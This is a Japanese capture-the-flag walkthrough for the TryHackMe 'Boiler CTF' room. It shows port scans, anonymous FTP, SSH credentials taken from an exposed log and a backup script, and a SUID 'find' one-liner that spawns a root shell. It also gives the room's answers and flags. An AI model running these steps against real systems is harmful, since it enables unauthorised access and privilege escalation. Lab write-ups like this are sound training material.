【TryHackMe】Boiler CTF：Walkthrough

# 概要

TryHackMe「Boiler CTF」のWalkthroughです。

https://tryhackme.com/r/room/boilerctf2

# Task1

## **Q1**.*File extension after anon login*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.129.124 -oN nmap_result
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 1 disallowed entry 
|_/
10000/tcp open  http    MiniServ 1.930 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
55007/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
|   256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
|_  256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|80|http|Apache httpd 2.4.18|
|10000|http|MiniServ 1.930|
|55007|ssh|OpenSSH 7.2p2|

FTPにAnonymousログインできるので接続し、ファイルを探索します。

```
$ ftp 10.10.129.124
Connected to 10.10.129.124.
220 (vsFTPd 3.0.3)
Name (10.10.129.124:kali): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||49155|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp            74 Aug 21  2019 .info.txt
```

**A**.**txt**

## **Q2**.*What is on the highest port?*

**A**.**ssh**

## **Q3**.*What's running on port 10000?*

**A**.**webmin**

## **Q4**.*Can you exploit the service running on that port? (yay/nay answer)*

**A**.**nay**

## **Q5**.*What's CMS can you access?*

`80`番ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.129.124
[04:55:53] 301 -  315B  - /joomla  ->  http://10.10.129.124/joomla/
[04:55:53] 301 -  329B  - /joomla/administrator  ->  http://10.10.129.124/joomla/administrator/
[04:55:59] 301 -  315B  - /manual  ->  http://10.10.129.124/manual/
[04:56:00] 200 -  201B  - /manual/index.html
[04:56:01] 200 -    4KB - /joomla/
[04:56:20] 200 -  178B  - /robots.txt
```

`joomla CMS`が使用されています。

https://github.com/joomla/joomla-cms

**A**.**joomla**

## **Q7**.*The interesting file name in the folder?*

さらにディレクトリ列挙をします。

```
$ dirsearch -r -u http://10.10.144.242/joomla
[07:12:16] 200 -  301B  - /joomla/_test/log.txt
```

`/joomla/_test/log.txt`を発見し、SSHの認証情報を入手できました。

```
$ curl http://10.10.144.242/joomla/_test/log.txt
Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperp@$$
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.
```

**A**.**log.txt**

# Task2

## **Q1**.*Where was the other users pass stored(no extension, just the name)?*

`Username: basterd`,`Password: superduperp@$$`でSSH接続に成功しました。

```
$ ssh -p 55007 basterd@10.10.144.242
$ whoami
basterd
```

`/home/basterd/backup.sh`から`stoner`ユーザーのパスワードを発見しました。

```/home/basterd/backup.sh
REMOTE=1.2.3.4

SOURCE=/home/stoner
TARGET=/usr/local/backup

LOG=/home/stoner/bck.log
 
DATE=`date +%y\.%m\.%d\.`

USER=stoner
#superduperp@$$no1knows

ssh $USER@$REMOTE mkdir $TARGET/$DATE


if [ -d "$SOURCE" ]; then
    for i in `ls $SOURCE | grep 'data'`;do
             echo "Begining copy of" $i  >> $LOG
             scp  $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
             echo $i "completed" >> $LOG

                if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null` ];then
                    rm $SOURCE/$i
                    echo $i "removed" >> $LOG
                    echo "####################" >> $LOG
                                else
                                        echo "Copy not complete" >> $LOG
                                        exit 0
                fi 
    done
     

else

    echo "Directory is not present" >> $LOG
    exit 0
fi
```

**A**.**backup**

## **Q2**.*user.txt*

`stoner`アカウントに昇格し、`/home/stoner.secret`からフラグを入手できます。

``` 
You made it till here, well done.
```

**A**.**You made it till here, well done.**

## **Q3**.*What did you exploit to get the privileged user?*

SUIDの検索をします。

```
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/find
```

`/usr/bin/find`を発見し、GTFOBinsで権限昇格のテクニックを発見しました。

https://gtfobins.github.io/gtfobins/find/#suid

**A**.**find**

## **Q4**.*root.txt*

`/usr/bin/find`を使用してroot権限を取得できました。

```
$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
It wasn't that hard, was it?
```

**A**.**It wasn't that hard, was it?**